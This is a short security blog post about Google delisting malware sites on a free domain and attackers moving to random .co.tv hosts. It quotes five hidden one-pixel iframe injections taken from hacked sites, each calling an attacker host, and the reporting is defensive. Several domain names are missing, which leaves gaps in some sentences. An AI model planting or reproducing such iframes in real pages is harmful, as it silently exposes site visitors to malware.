Google blocks, attackers are now using

It is being reported that Google took action against the high number of malware sites in the domain, removing more than 11 million sites from their search results.

For us this is good news, since we haven’t been seeing anything good coming from there (only malware and spam). They did a similar thing a few weeks ago blacklisting the whole domain.

However, just as they blacklisted the, we are starting to see the attackers switching tactics and using different free domains. The popular one now is

<iframe src="http://uhcmsgfq&#46co&#46tv/?go=1" width="1" height="1"></iframe>

<iframe src="http://yswlifofj&#46co&#46tv/?go=1" width="1" height="1"></iframe> 

<iframe width="1" height="1" src="http://vmvfonc&#46co&#46tv/?go=1"></iframe>

<iframe src="http://cvfplmpsap&#46co&#46tv/?go=1" width="1" height="1"></iframe>

<iframe src="http://kwhnqxvslf&#46co&#46tv/?go=1" width="1" height="1"></iframe>

Those are just some of the malicious iframes we are seeing on hacked sites now (a few weeks ago they would have been on the domain). As you can see by their names (,,, etc) they are random and being mass generated.

We are also seeing a lot of malware and spam in the domain range (like, but it seems Google banned the whole range as well.

What Google is doing is good, but the “war” is not over :)

If you are worried your site might be hacked or compromised, scan it here:

Scan your website for free:
About David Dede

David Dede is a Security Researcher in the SucuriLabs group. He spends most of his time dissecting vulnerabilities and security issues. You won't find him on Twitter because he is paranoid about privacy.